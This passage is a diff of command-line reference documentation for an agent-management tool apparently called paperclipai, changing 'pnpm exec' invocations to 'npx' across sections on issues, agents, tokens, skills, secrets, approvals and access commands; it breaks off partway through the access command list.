Issue subresources are exposed as Paperclip API wrappers. Commands that map to broad server schemas accept JSON payloads and validate them with shared schemas before sending.
```sh
-pnpm exec paperclipai issue child:create <issue-id> --payload-json '{"title":"Child task"}'
-pnpm exec paperclipai issue approvals <issue-id>
-pnpm exec paperclipai issue approval:link <issue-id> <approval-id>
-pnpm exec paperclipai issue approval:unlink <issue-id> <approval-id>
-pnpm exec paperclipai issue read <issue-id>
-pnpm exec paperclipai issue unread <issue-id>
-pnpm exec paperclipai issue archive <issue-id>
-pnpm exec paperclipai issue unarchive <issue-id>
-pnpm exec paperclipai issue recovery-actions <issue-id>
-pnpm exec paperclipai issue recovery:resolve <issue-id> --outcome restored --source-issue-status todo
-```
-
-```sh
-pnpm exec paperclipai issue documents <issue-id> [--include-system]
-pnpm exec paperclipai issue document:get <issue-id> <key>
-pnpm exec paperclipai issue document:put <issue-id> <key> --body-file ./plan.md [--title Plan]
-pnpm exec paperclipai issue document:lock <issue-id> <key>
-pnpm exec paperclipai issue document:unlock <issue-id> <key>
-pnpm exec paperclipai issue document:revisions <issue-id> <key>
-pnpm exec paperclipai issue document:restore <issue-id> <key> <revision-id>
-pnpm exec paperclipai issue document:delete <issue-id> <key>
-```
-
-```sh
-pnpm exec paperclipai issue work-products <issue-id>
-pnpm exec paperclipai issue work-product:create <issue-id> --payload-json '{"type":"pull_request","provider":"github","title":"PR"}'
-pnpm exec paperclipai issue work-product:update <work-product-id> --payload-json '{"status":"archived"}'
-pnpm exec paperclipai issue work-product:delete <work-product-id>
-pnpm exec paperclipai issue interactions <issue-id>
-pnpm exec paperclipai issue interaction:create <issue-id> --payload-json '{"kind":"request_confirmation","payload":{"version":1,"prompt":"Continue?"}}'
-pnpm exec paperclipai issue interaction:accept <issue-id> <interaction-id> [--selected-client-keys key1,key2]
-pnpm exec paperclipai issue interaction:reject <issue-id> <interaction-id> [--reason "..."]
-pnpm exec paperclipai issue interaction:respond <issue-id> <interaction-id> --answers-json '[{"questionId":"q1","optionIds":["yes"]}]'
-pnpm exec paperclipai issue interaction:cancel <issue-id> <interaction-id> [--reason "..."]
-```
-
-```sh
-pnpm exec paperclipai issue tree-state <issue-id>
-pnpm exec paperclipai issue tree-preview <issue-id> --payload-json '{"mode":"pause"}'
-pnpm exec paperclipai issue tree-holds <issue-id> [--status active] [--include-members]
-pnpm exec paperclipai issue tree-hold:create <issue-id> --payload-json '{"mode":"pause","reason":"review"}'
-pnpm exec paperclipai issue tree-hold:get <issue-id> <hold-id>
-pnpm exec paperclipai issue tree-hold:release <issue-id> <hold-id> [--payload-json '{"reason":"done"}']
-pnpm exec paperclipai issue attachments <issue-id>
-pnpm exec paperclipai issue attachment:upload <issue-id> --company-id <company-id> --file ./artifact.txt
-pnpm exec paperclipai issue attachment:download <attachment-id> [--out ./artifact.txt]
-pnpm exec paperclipai issue attachment:delete <attachment-id>
-pnpm exec paperclipai issue label:list --company-id <company-id>
-pnpm exec paperclipai issue label:create --company-id <company-id> --name bug --color '#ff0000'
-pnpm exec paperclipai issue label:delete <label-id>
-pnpm exec paperclipai issue feedback:votes <issue-id>
-pnpm exec paperclipai issue feedback:vote <issue-id> --payload-json '{"targetType":"issue_comment","targetId":"...","vote":"up"}'
+npx paperclipai issue child:create <issue-id> --payload-json '{"title":"Child task"}'
+npx paperclipai issue approvals <issue-id>
+npx paperclipai issue approval:link <issue-id> <approval-id>
+npx paperclipai issue approval:unlink <issue-id> <approval-id>
+npx paperclipai issue read <issue-id>
+npx paperclipai issue unread <issue-id>
+npx paperclipai issue archive <issue-id>
+npx paperclipai issue unarchive <issue-id>
+npx paperclipai issue recovery-actions <issue-id>
+npx paperclipai issue recovery:resolve <issue-id> --outcome restored --source-issue-status todo
+```
+
+```sh
+npx paperclipai issue documents <issue-id> [--include-system]
+npx paperclipai issue document:get <issue-id> <key>
+npx paperclipai issue document:put <issue-id> <key> --body-file ./plan.md [--title Plan]
+npx paperclipai issue document:lock <issue-id> <key>
+npx paperclipai issue document:unlock <issue-id> <key>
+npx paperclipai issue document:revisions <issue-id> <key>
+npx paperclipai issue document:restore <issue-id> <key> <revision-id>
+npx paperclipai issue document:delete <issue-id> <key>
+```
+
+```sh
+npx paperclipai issue work-products <issue-id>
+npx paperclipai issue work-product:create <issue-id> --payload-json '{"type":"pull_request","provider":"github","title":"PR"}'
+npx paperclipai issue work-product:update <work-product-id> --payload-json '{"status":"archived"}'
+npx paperclipai issue work-product:delete <work-product-id>
+npx paperclipai issue interactions <issue-id>
+npx paperclipai issue interaction:create <issue-id> --payload-json '{"kind":"request_confirmation","payload":{"version":1,"prompt":"Continue?"}}'
+npx paperclipai issue interaction:accept <issue-id> <interaction-id> [--selected-client-keys key1,key2]
+npx paperclipai issue interaction:reject <issue-id> <interaction-id> [--reason "..."]
+npx paperclipai issue interaction:respond <issue-id> <interaction-id> --answers-json '[{"questionId":"q1","optionIds":["yes"]}]'
+npx paperclipai issue interaction:cancel <issue-id> <interaction-id> [--reason "..."]
+```
+
+```sh
+npx paperclipai issue tree-state <issue-id>
+npx paperclipai issue tree-preview <issue-id> --payload-json '{"mode":"pause"}'
+npx paperclipai issue tree-holds <issue-id> [--status active] [--include-members]
+npx paperclipai issue tree-hold:create <issue-id> --payload-json '{"mode":"pause","reason":"review"}'
+npx paperclipai issue tree-hold:get <issue-id> <hold-id>
+npx paperclipai issue tree-hold:release <issue-id> <hold-id> [--payload-json '{"reason":"done"}']
+npx paperclipai issue attachments <issue-id>
+npx paperclipai issue attachment:upload <issue-id> --company-id <company-id> --file ./artifact.txt
+npx paperclipai issue attachment:download <attachment-id> [--out ./artifact.txt]
+npx paperclipai issue attachment:delete <attachment-id>
+npx paperclipai issue label:list --company-id <company-id>
+npx paperclipai issue label:create --company-id <company-id> --name bug --color '#ff0000'
+npx paperclipai issue label:delete <label-id>
+npx paperclipai issue feedback:votes <issue-id>
+npx paperclipai issue feedback:vote <issue-id> --payload-json '{"targetType":"issue_comment","targetId":"...","vote":"up"}'
```
## Project Commands
```sh
-pnpm exec paperclipai project list --company-id <company-id>
-pnpm exec paperclipai project get <project-id-or-shortname> [--company-id <company-id>]
-pnpm exec paperclipai project create --company-id <company-id> --name "Launch Site" [--goal-ids <id1,id2>] [--lead-agent-id <id>]
-pnpm exec paperclipai project update <project-id-or-shortname> [--status in_progress] [--company-id <company-id>]
-pnpm exec paperclipai project delete <project-id-or-shortname> --yes [--company-id <company-id>]
+npx paperclipai project list --company-id <company-id>
+npx paperclipai project get <project-id-or-shortname> [--company-id <company-id>]
+npx paperclipai project create --company-id <company-id> --name "Launch Site" [--goal-ids <id1,id2>] [--lead-agent-id <id>]
+npx paperclipai project update <project-id-or-shortname> [--status in_progress] [--company-id <company-id>]
+npx paperclipai project delete <project-id-or-shortname> --yes [--company-id <company-id>]
```
Advanced project fields accept JSON:
```sh
-pnpm exec paperclipai project create --company-id <company-id> --name "Ops" --env-json '{"OPENAI_API_KEY":{"kind":"secret","secretName":"openai-api-key"}}'
-pnpm exec paperclipai project update <project-id> --execution-workspace-policy-json '{"enabled":true,"defaultMode":"shared_workspace"}'
+npx paperclipai project create --company-id <company-id> --name "Ops" --env-json '{"OPENAI_API_KEY":{"kind":"secret","secretName":"openai-api-key"}}'
+npx paperclipai project update <project-id> --execution-workspace-policy-json '{"enabled":true,"defaultMode":"shared_workspace"}'
```
## Goal Commands
```sh
-pnpm exec paperclipai goal list --company-id <company-id>
-pnpm exec paperclipai goal get <goal-id>
-pnpm exec paperclipai goal create --company-id <company-id> --title "Grow revenue" [--level company] [--status active]
-pnpm exec paperclipai goal update <goal-id> [--title "..."] [--status achieved]
-pnpm exec paperclipai goal delete <goal-id> --yes
+npx paperclipai goal list --company-id <company-id>
+npx paperclipai goal get <goal-id>
+npx paperclipai goal create --company-id <company-id> --title "Grow revenue" [--level company] [--status active]
+npx paperclipai goal update <goal-id> [--title "..."] [--status achieved]
+npx paperclipai goal delete <goal-id> --yes
```
## Agent Commands
```sh
-pnpm exec paperclipai agent list --company-id <company-id>
-pnpm exec paperclipai agent get <agent-id>
-pnpm exec paperclipai agent create --company-id <company-id> --payload-json '{"name":"Builder","adapterType":"codex_local"}'
-pnpm exec paperclipai agent hire --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai agent update <agent-id> --payload-json '{"title":"Senior Builder"}'
-pnpm exec paperclipai agent delete <agent-id> --yes
-pnpm exec paperclipai agent me
-pnpm exec paperclipai agent inbox
-pnpm exec paperclipai agent inbox-mine --user-id <board-user-id>
-pnpm exec paperclipai agent wake <agent-id-or-shortname> [--company-id <company-id>] [--reason "..."] [--payload '{"issueId":"..."}']
-pnpm exec paperclipai agent pause <agent-id>
-pnpm exec paperclipai agent resume <agent-id>
-pnpm exec paperclipai agent approve <agent-id>
-pnpm exec paperclipai agent terminate <agent-id>
-pnpm exec paperclipai agent heartbeat:invoke <agent-id>
-pnpm exec paperclipai agent claude-login <agent-id>
-pnpm exec paperclipai agent local-cli <agent-id-or-shortname> --company-id <company-id>
+npx paperclipai agent list --company-id <company-id>
+npx paperclipai agent get <agent-id>
+npx paperclipai agent create --company-id <company-id> --payload-json '{"name":"Builder","adapterType":"codex_local"}'
+npx paperclipai agent hire --company-id <company-id> --payload-json '{...}'
+npx paperclipai agent update <agent-id> --payload-json '{"title":"Senior Builder"}'
+npx paperclipai agent delete <agent-id> --yes
+npx paperclipai agent me
+npx paperclipai agent inbox
+npx paperclipai agent inbox-mine --user-id <board-user-id>
+npx paperclipai agent wake <agent-id-or-shortname> [--company-id <company-id>] [--reason "..."] [--payload '{"issueId":"..."}']
+npx paperclipai agent pause <agent-id>
+npx paperclipai agent resume <agent-id>
+npx paperclipai agent approve <agent-id>
+npx paperclipai agent terminate <agent-id>
+npx paperclipai agent heartbeat:invoke <agent-id>
+npx paperclipai agent claude-login <agent-id>
+npx paperclipai agent local-cli <agent-id-or-shortname> --company-id <company-id>
```
Agent configuration and runtime endpoints:
```sh
-pnpm exec paperclipai agent permissions:update <agent-id> --payload-json '{"canCreateAgents":true,"canCreateSkills":true,"canAssignTasks":true}'
-pnpm exec paperclipai agent configuration <agent-id>
-pnpm exec paperclipai agent config-revisions <agent-id>
-pnpm exec paperclipai agent config-revision:get <agent-id> <revision-id>
-pnpm exec paperclipai agent config-revision:rollback <agent-id> <revision-id>
-pnpm exec paperclipai agent runtime-state <agent-id>
-pnpm exec paperclipai agent runtime-state:reset-session <agent-id> [--task-key <key>]
-pnpm exec paperclipai agent task-sessions <agent-id>
-pnpm exec paperclipai agent skills <agent-id>
-pnpm exec paperclipai agent skills:sync <agent-id> --desired-skills paperclip,github --mode add
-pnpm exec paperclipai agent instructions-path:update <agent-id> --payload-json '{"path":"/path/to/AGENTS.md"}'
-pnpm exec paperclipai agent instructions-bundle <agent-id>
-pnpm exec paperclipai agent instructions-bundle:update <agent-id> --payload-json '{"mode":"managed"}'
-pnpm exec paperclipai agent instructions-file:get <agent-id> --path AGENTS.md
-pnpm exec paperclipai agent instructions-file:put <agent-id> --path AGENTS.md --content-file ./AGENTS.md
-pnpm exec paperclipai agent instructions-file:delete <agent-id> --path AGENTS.md
+npx paperclipai agent permissions:update <agent-id> --payload-json '{"canCreateAgents":true,"canCreateSkills":true,"canAssignTasks":true}'
+npx paperclipai agent configuration <agent-id>
+npx paperclipai agent config-revisions <agent-id>
+npx paperclipai agent config-revision:get <agent-id> <revision-id>
+npx paperclipai agent config-revision:rollback <agent-id> <revision-id>
+npx paperclipai agent runtime-state <agent-id>
+npx paperclipai agent runtime-state:reset-session <agent-id> [--task-key <key>]
+npx paperclipai agent task-sessions <agent-id>
+npx paperclipai agent skills <agent-id>
+npx paperclipai agent skills:sync <agent-id> --desired-skills paperclip,github --mode add
+npx paperclipai agent instructions-path:update <agent-id> --payload-json '{"path":"/path/to/AGENTS.md"}'
+npx paperclipai agent instructions-bundle <agent-id>
+npx paperclipai agent instructions-bundle:update <agent-id> --payload-json '{"mode":"managed"}'
+npx paperclipai agent instructions-file:get <agent-id> --path AGENTS.md
+npx paperclipai agent instructions-file:put <agent-id> --path AGENTS.md --content-file ./AGENTS.md
+npx paperclipai agent instructions-file:delete <agent-id> --path AGENTS.md
```
Agent config, instructions, skills, project env, environment, secret, and workspace edits affect the next run. Active runs finish with the config they started with. When a saved session, reused workspace, or sandbox lease no longer matches the effective next-run config, Paperclip may start fresh execution and records non-sensitive freshness categories in run result JSON and workspace operation logs.
@@ -435,8 +494,8 @@ Agent config, instructions, skills, project env, environment, secret, and worksp
Example for shortname-based local setup:
```sh
-pnpm exec paperclipai agent local-cli codexcoder --company-id <company-id>
-pnpm exec paperclipai agent local-cli claudecoder --company-id <company-id>
+npx paperclipai agent local-cli codexcoder --company-id <company-id>
+npx paperclipai agent local-cli claudecoder --company-id <company-id>
```
## Token Commands
@@ -444,18 +503,18 @@ pnpm exec paperclipai agent local-cli claudecoder --company-id <company-id>
Agent API keys are scoped to one company and one agent. Plaintext tokens are printed once at creation.
```sh
-pnpm exec paperclipai token agent create --company-id <company-id> --agent <agent-id-or-name> --name external-worker
-pnpm exec paperclipai token agent list --company-id <company-id> --agent <agent-id-or-name>
-pnpm exec paperclipai token agent revoke --company-id <company-id> --agent <agent-id-or-name> <key-id>
+npx paperclipai token agent create --company-id <company-id> --agent <agent-id-or-name> --name external-worker
+npx paperclipai token agent list --company-id <company-id> --agent <agent-id-or-name>
+npx paperclipai token agent revoke --company-id <company-id> --agent <agent-id-or-name> <key-id>
```
Named board API keys use the board authorization model, support revocation and expiration metadata, and are audited server-side.
```sh
-pnpm exec paperclipai token board create --company-id <company-id> --name external-admin
-pnpm exec paperclipai token board create --name short-lived --ttl-days 7
-pnpm exec paperclipai token board list
-pnpm exec paperclipai token board revoke <key-id>
+npx paperclipai token board create --company-id <company-id> --name external-admin
+npx paperclipai token board create --name short-lived --ttl-days 7
+npx paperclipai token board list
+npx paperclipai token board revoke <key-id>
```
## Run Commands
@@ -463,16 +522,16 @@ pnpm exec paperclipai token board revoke <key-id>
`paperclipai run` without a subcommand still bootstraps and starts a local Paperclip instance. The subcommands below inspect and control API heartbeat runs.
```sh
-pnpm exec paperclipai run list --company-id <company-id> [--agent-id <agent-id>] [--limit 50]
-pnpm exec paperclipai run live --company-id <company-id> [--limit 50] [--min-count 0]
-pnpm exec paperclipai run get <run-id>
-pnpm exec paperclipai run events <run-id> [--after-seq 0] [--limit 200]
-pnpm exec paperclipai run log <run-id> [--offset 0] [--limit-bytes 16384] [--text]
-pnpm exec paperclipai run cancel <run-id>
-pnpm exec paperclipai run issues <run-id>
-pnpm exec paperclipai run workspace-operations <run-id>
-pnpm exec paperclipai run workspace-log <operation-id> [--offset 0] [--limit-bytes 16384] [--text]
-pnpm exec paperclipai run watchdog-decision <run-id> --decision continue [--reason "..."]
+npx paperclipai run list --company-id <company-id> [--agent-id <agent-id>] [--limit 50]
+npx paperclipai run live --company-id <company-id> [--limit 50] [--min-count 0]
+npx paperclipai run get <run-id>
+npx paperclipai run events <run-id> [--after-seq 0] [--limit 200]
+npx paperclipai run log <run-id> [--offset 0] [--limit-bytes 16384] [--text]
+npx paperclipai run cancel <run-id>
+npx paperclipai run issues <run-id>
+npx paperclipai run workspace-operations <run-id>
+npx paperclipai run workspace-log <operation-id> [--offset 0] [--limit-bytes 16384] [--text]
+npx paperclipai run watchdog-decision <run-id> --decision continue [--reason "..."]
```
## Routine Commands
@@ -480,19 +539,19 @@ pnpm exec paperclipai run watchdog-decision <run-id> --decision continue [--reas
`paperclipai routines disable-all` remains the local maintenance command. The singular `routine` group maps to the REST API.
```sh
-pnpm exec paperclipai routine list --company-id <company-id> [--project-id <project-id>]
-pnpm exec paperclipai routine create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai routine get <routine-id>
-pnpm exec paperclipai routine update <routine-id> --payload-json '{...}'
-pnpm exec paperclipai routine revisions <routine-id>
-pnpm exec paperclipai routine revision:restore <routine-id> <revision-id>
-pnpm exec paperclipai routine runs <routine-id> [--limit 50]
-pnpm exec paperclipai routine run <routine-id> [--payload-json '{...}']
-pnpm exec paperclipai routine trigger:create <routine-id> --payload-json '{...}'
-pnpm exec paperclipai routine trigger:update <trigger-id> --payload-json '{...}'
-pnpm exec paperclipai routine trigger:delete <trigger-id>
-pnpm exec paperclipai routine trigger:rotate-secret <trigger-id>
-pnpm exec paperclipai routine trigger:fire <public-id> [--payload-json '{...}']
+npx paperclipai routine list --company-id <company-id> [--project-id <project-id>]
+npx paperclipai routine create --company-id <company-id> --payload-json '{...}'
+npx paperclipai routine get <routine-id>
+npx paperclipai routine update <routine-id> --payload-json '{...}'
+npx paperclipai routine revisions <routine-id>
+npx paperclipai routine revision:restore <routine-id> <revision-id>
+npx paperclipai routine runs <routine-id> [--limit 50]
+npx paperclipai routine run <routine-id> [--payload-json '{...}']
+npx paperclipai routine trigger:create <routine-id> --payload-json '{...}'
+npx paperclipai routine trigger:update <trigger-id> --payload-json '{...}'
+npx paperclipai routine trigger:delete <trigger-id>
+npx paperclipai routine trigger:rotate-secret <trigger-id>
+npx paperclipai routine trigger:fire <public-id> [--payload-json '{...}']
```
## Prompt Handoff
@@ -500,10 +559,10 @@ pnpm exec paperclipai routine trigger:fire <public-id> [--payload-json '{...}']
Prompt handoff creates Paperclip work. It does not create a chat session.
```sh
-pnpm exec paperclipai agent-prompt <agent-name-or-id> <agent-api-key> "Prompt here"
-pnpm exec paperclipai agent prompt --agent <agent-name-or-id> --api-key-env PAPERCLIP_API_KEY "Prompt here"
-pnpm exec paperclipai agent prompt --profile my-agent "Prompt here"
-pnpm exec paperclipai board prompt --company-id <company-id> --agent <agent-name-or-id> "Prompt here"
+npx paperclipai agent-prompt <agent-name-or-id> <agent-api-key> "Prompt here"
+npx paperclipai agent prompt --agent <agent-name-or-id> --api-key-env PAPERCLIP_API_KEY "Prompt here"
+npx paperclipai agent prompt --profile my-agent "Prompt here"
+npx paperclipai board prompt --company-id <company-id> --agent <agent-name-or-id> "Prompt here"
```
By default the command creates a `todo` issue assigned to the target agent and wakes the agent. Use `--issue <issue-id>` to add a comment to existing work, and `--no-wake` to skip the wakeup.
@@ -540,10 +599,10 @@ Browse and inspect commands never mutate company state; `install` adds a catalog
skill to the company library.
```sh
-pnpm exec paperclipai skills browse [--kind bundled|optional] [--category <slug>] [--query <text>]
-pnpm exec paperclipai skills search "<text>" [--kind bundled|optional] [--category <slug>]
-pnpm exec paperclipai skills inspect <catalog-id-or-key-or-slug>
-pnpm exec paperclipai skills install <catalog-id-or-key-or-slug> [--as <slug>] [--force] --company-id <company-id>
+npx paperclipai skills browse [--kind bundled|optional] [--category <slug>] [--query <text>]
+npx paperclipai skills search "<text>" [--kind bundled|optional] [--category <slug>]
+npx paperclipai skills inspect <catalog-id-or-key-or-slug>
+npx paperclipai skills install <catalog-id-or-key-or-slug> [--as <slug>] [--force] --company-id <company-id>
```
Catalog semantics:
@@ -564,11 +623,11 @@ Catalog semantics:
Examples:
```sh
-pnpm exec paperclipai skills browse --kind bundled --company-id <company-id>
-pnpm exec paperclipai skills search "pull request" --kind bundled
-pnpm exec paperclipai skills inspect github-pr-workflow
-pnpm exec paperclipai skills install github-pr-workflow --company-id <company-id>
-pnpm exec paperclipai skills install paperclipai:optional:browser:agent-browser --company-id <company-id>
+npx paperclipai skills browse --kind bundled --company-id <company-id>
+npx paperclipai skills search "pull request" --kind bundled
+npx paperclipai skills inspect github-pr-workflow
+npx paperclipai skills install github-pr-workflow --company-id <company-id>
+npx paperclipai skills install paperclipai:optional:browser:agent-browser --company-id <company-id>
```
External GitHub, skills.sh, local-path, and URL sources still go through
@@ -577,18 +636,18 @@ External GitHub, skills.sh, local-path, and URL sources still go through
### Company library
```sh
-pnpm exec paperclipai skills list --company-id <company-id>
-pnpm exec paperclipai skills show <skill-id-or-key-or-slug> --company-id <company-id>
-pnpm exec paperclipai skills file <skill-id-or-key-or-slug> [--path SKILL.md] --company-id <company-id>
-pnpm exec paperclipai skills import <source> --company-id <company-id>
-pnpm exec paperclipai skills create --name "Review PRs" [--slug review-prs] [--description "..."] [--body-file SKILL.md] --company-id <company-id>
-pnpm exec paperclipai skills scan-projects [--project-id <id>...] [--workspace-id <id>...] --company-id <company-id>
-pnpm exec paperclipai skills check [skill-id-or-key-or-slug] --company-id <company-id>
-pnpm exec paperclipai skills update <skill-id-or-key-or-slug> [--force] --company-id <company-id>
-pnpm exec paperclipai skills update --all [--force] --company-id <company-id>
-pnpm exec paperclipai skills audit [skill-id-or-key-or-slug] --company-id <company-id>
-pnpm exec paperclipai skills reset <skill-id-or-key-or-slug> [--yes] [--force] --company-id <company-id>
-pnpm exec paperclipai skills remove <skill-id-or-key-or-slug> --yes --company-id <company-id>
+npx paperclipai skills list --company-id <company-id>
+npx paperclipai skills show <skill-id-or-key-or-slug> --company-id <company-id>
+npx paperclipai skills file <skill-id-or-key-or-slug> [--path SKILL.md] --company-id <company-id>
+npx paperclipai skills import <source> --company-id <company-id>
+npx paperclipai skills create --name "Review PRs" [--slug review-prs] [--description "..."] [--body-file SKILL.md] --company-id <company-id>
+npx paperclipai skills scan-projects [--project-id <id>...] [--workspace-id <id>...] --company-id <company-id>
+npx paperclipai skills check [skill-id-or-key-or-slug] --company-id <company-id>
+npx paperclipai skills update <skill-id-or-key-or-slug> [--force] --company-id <company-id>
+npx paperclipai skills update --all [--force] --company-id <company-id>
+npx paperclipai skills audit [skill-id-or-key-or-slug] --company-id <company-id>
+npx paperclipai skills reset <skill-id-or-key-or-slug> [--yes] [--force] --company-id <company-id>
+npx paperclipai skills remove <skill-id-or-key-or-slug> --yes --company-id <company-id>
```
`skills import <source>` accepts a skills.sh URL, the equivalent
@@ -614,9 +673,9 @@ maintenance loop for catalog-installed skills:
### Agent attach
```sh
-pnpm exec paperclipai skills agent list <agent-id-or-shortname> --company-id <company-id>
-pnpm exec paperclipai skills agent sync <agent-id-or-shortname> --skill <skill-id-or-key-or-slug> [--skill <skill-id-or-key-or-slug>...] --mode <add|remove|replace> --company-id <company-id>
-pnpm exec paperclipai skills agent clear <agent-id-or-shortname> --yes --company-id <company-id>
+npx paperclipai skills agent list <agent-id-or-shortname> --company-id <company-id>
+npx paperclipai skills agent sync <agent-id-or-shortname> --skill <skill-id-or-key-or-slug> [--skill <skill-id-or-key-or-slug>...] --mode <add|remove|replace> --company-id <company-id>
+npx paperclipai skills agent clear <agent-id-or-shortname> --yes --company-id <company-id>
```
`skills agent sync` requires a merge mode and returns the resulting adapter
@@ -644,11 +703,11 @@ change company state. `preview` runs the company import planner, and `install`
imports the catalog team into an existing company.
```sh
-pnpm exec paperclipai teams browse [--kind bundled|optional] [--category <slug>] [--query <text>]
-pnpm exec paperclipai teams search "<text>" [--kind bundled|optional] [--category <slug>]
-pnpm exec paperclipai teams inspect <catalog-id-or-key-or-slug> [--file TEAM.md]
-pnpm exec paperclipai teams preview <catalog-id-or-key-or-slug> --company-id <company-id>
-pnpm exec paperclipai teams install <catalog-id-or-key-or-slug> --company-id <company-id>
+npx paperclipai teams browse [--kind bundled|optional] [--category <slug>] [--query <text>]
+npx paperclipai teams search "<text>" [--kind bundled|optional] [--category <slug>]
+npx paperclipai teams inspect <catalog-id-or-key-or-slug> [--file TEAM.md]
+npx paperclipai teams preview <catalog-id-or-key-or-slug> --company-id <company-id>
+npx paperclipai teams install <catalog-id-or-key-or-slug> --company-id <company-id>
```
Preview/install options:
@@ -676,22 +735,22 @@ Preview/install options:
## Secrets Commands
```sh
-pnpm exec paperclipai secrets list --company-id <company-id>
-pnpm exec paperclipai secrets declarations --company-id <company-id> [--include agents,projects] [--kind secret]
-pnpm exec paperclipai secrets create --company-id <company-id> --name anthropic-api-key --value-env ANTHROPIC_API_KEY
-pnpm exec paperclipai secrets link --company-id <company-id> --name prod-stripe-key --provider aws_secrets_manager --external-ref <provider-ref>
-pnpm exec paperclipai secrets doctor --company-id <company-id>
-pnpm exec paperclipai secrets provider-configs --company-id <company-id>
-pnpm exec paperclipai secrets provider-config:create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai secrets provider-config:discovery-preview --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai secrets provider-config:get <config-id>
-pnpm exec paperclipai secrets provider-config:update <config-id> --payload-json '{...}'
-pnpm exec paperclipai secrets provider-config:default <config-id>
-pnpm exec paperclipai secrets provider-config:health <config-id>
-pnpm exec paperclipai secrets provider-config:delete <config-id>
-pnpm exec paperclipai secrets remote-import:preview --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai secrets remote-import --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> [--apply]
+npx paperclipai secrets list --company-id <company-id>
+npx paperclipai secrets declarations --company-id <company-id> [--include agents,projects] [--kind secret]
+npx paperclipai secrets create --company-id <company-id> --name anthropic-api-key --value-env ANTHROPIC_API_KEY
+npx paperclipai secrets link --company-id <company-id> --name prod-stripe-key --provider aws_secrets_manager --external-ref <provider-ref>
+npx paperclipai secrets doctor --company-id <company-id>
+npx paperclipai secrets provider-configs --company-id <company-id>
+npx paperclipai secrets provider-config:create --company-id <company-id> --payload-json '{...}'
+npx paperclipai secrets provider-config:discovery-preview --company-id <company-id> --payload-json '{...}'
+npx paperclipai secrets provider-config:get <config-id>
+npx paperclipai secrets provider-config:update <config-id> --payload-json '{...}'
+npx paperclipai secrets provider-config:default <config-id>
+npx paperclipai secrets provider-config:health <config-id>
+npx paperclipai secrets provider-config:delete <config-id>
+npx paperclipai secrets remote-import:preview --company-id <company-id> --payload-json '{...}'
+npx paperclipai secrets remote-import --company-id <company-id> --payload-json '{...}'
+npx paperclipai secrets migrate-inline-env --company-id <company-id> [--apply]
```
Secret listing and declarations never print secret values. `create` accepts
@@ -711,78 +770,78 @@ commands above. See the
## Approval Commands
```sh
-pnpm exec paperclipai approval list --company-id <company-id> [--status pending]
-pnpm exec paperclipai approval get <approval-id>
-pnpm exec paperclipai approval create --company-id <company-id> --type hire_agent --payload '{"name":"..."}' [--issue-ids <id1,id2>]
-pnpm exec paperclipai approval approve <approval-id> [--decision-note "..."]
-pnpm exec paperclipai approval reject <approval-id> [--decision-note "..."]
-pnpm exec paperclipai approval request-revision <approval-id> [--decision-note "..."]
-pnpm exec paperclipai approval resubmit <approval-id> [--payload '{"...":"..."}']
-pnpm exec paperclipai approval comment <approval-id> --body "..."
+npx paperclipai approval list --company-id <company-id> [--status pending]
+npx paperclipai approval get <approval-id>
+npx paperclipai approval create --company-id <company-id> --type hire_agent --payload '{"name":"..."}' [--issue-ids <id1,id2>]
+npx paperclipai approval approve <approval-id> [--decision-note "..."]
+npx paperclipai approval reject <approval-id> [--decision-note "..."]
+npx paperclipai approval request-revision <approval-id> [--decision-note "..."]
+npx paperclipai approval resubmit <approval-id> [--payload '{"...":"..."}']
+npx paperclipai approval comment <approval-id> --body "..."
```
## Activity Commands
```sh
-pnpm exec paperclipai activity list --company-id <company-id> [--agent-id <agent-id>] [--entity-type issue] [--entity-id <id>]
-pnpm exec paperclipai activity create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai activity issue <issue-id>
+npx paperclipai activity list --company-id <company-id> [--agent-id <agent-id>] [--entity-type issue] [--entity-id <id>]
+npx paperclipai activity create --company-id <company-id> --payload-json '{...}'
+npx paperclipai activity issue <issue-id>
```
## Dashboard Commands
```sh
-pnpm exec paperclipai dashboard get --company-id <company-id>
+npx paperclipai dashboard get --company-id <company-id>
```
## Org And Agent Config Commands
```sh
-pnpm exec paperclipai whoami
-pnpm exec paperclipai openapi
-pnpm exec paperclipai org get --company-id <company-id>
-pnpm exec paperclipai org svg --company-id <company-id> [--out org.svg]
-pnpm exec paperclipai org png --company-id <company-id> [--out org.png]
-pnpm exec paperclipai agent-config list --company-id <company-id>
+npx paperclipai whoami
+npx paperclipai openapi
+npx paperclipai org get --company-id <company-id>
+npx paperclipai org svg --company-id <company-id> [--out org.svg]
+npx paperclipai org png --company-id <company-id> [--out org.png]
+npx paperclipai agent-config list --company-id <company-id>
```
## Access, Profile, And Instance Commands
```sh
-pnpm exec paperclipai profile session
-pnpm exec paperclipai profile get
-pnpm exec paperclipai profile update --payload-json '{...}'
-pnpm exec paperclipai profile company-user <user-slug> --company-id <company-id>
-pnpm exec paperclipai invite list --company-id <company-id>
-pnpm exec paperclipai invite create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai invite revoke <invite-id>
-pnpm exec paperclipai invite show <token>
-pnpm exec paperclipai invite accept <token> [--payload-json '{...}']
-pnpm exec paperclipai invite onboarding:text <token>
-pnpm exec paperclipai join list --company-id <company-id> [--status pending_approval]
-pnpm exec paperclipai join approve <request-id> --company-id <company-id>
-pnpm exec paperclipai join reject <request-id> --company-id <company-id>
-pnpm exec paperclipai join claim-key <request-id> --claim-secret <secret>
-pnpm exec paperclipai member list --company-id <company-id>
-pnpm exec paperclipai member update <member-id> --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai member role-and-grants <member-id> --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai member permissions <member-id> --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai member archive <member-id> --company-id <company-id> [--payload-json '{...}']
-pnpm exec paperclipai admin user list [--query <text>]
-pnpm exec paperclipai admin user promote <user-id>
-pnpm exec paperclipai admin user demote <user-id>
-pnpm exec paperclipai admin user company-access <user-id>
-pnpm exec paperclipai admin user company-access:update <user-id> --payload-json '{...}'
+npx paperclipai profile session
+npx paperclipai profile get
+npx paperclipai profile update --payload-json '{...}'
+npx paperclipai profile company-user <user-slug> --company-id <company-id>
+npx paperclipai invite list --company-id <company-id>
+npx paperclipai invite create --company-id <company-id> --payload-json '{...}'
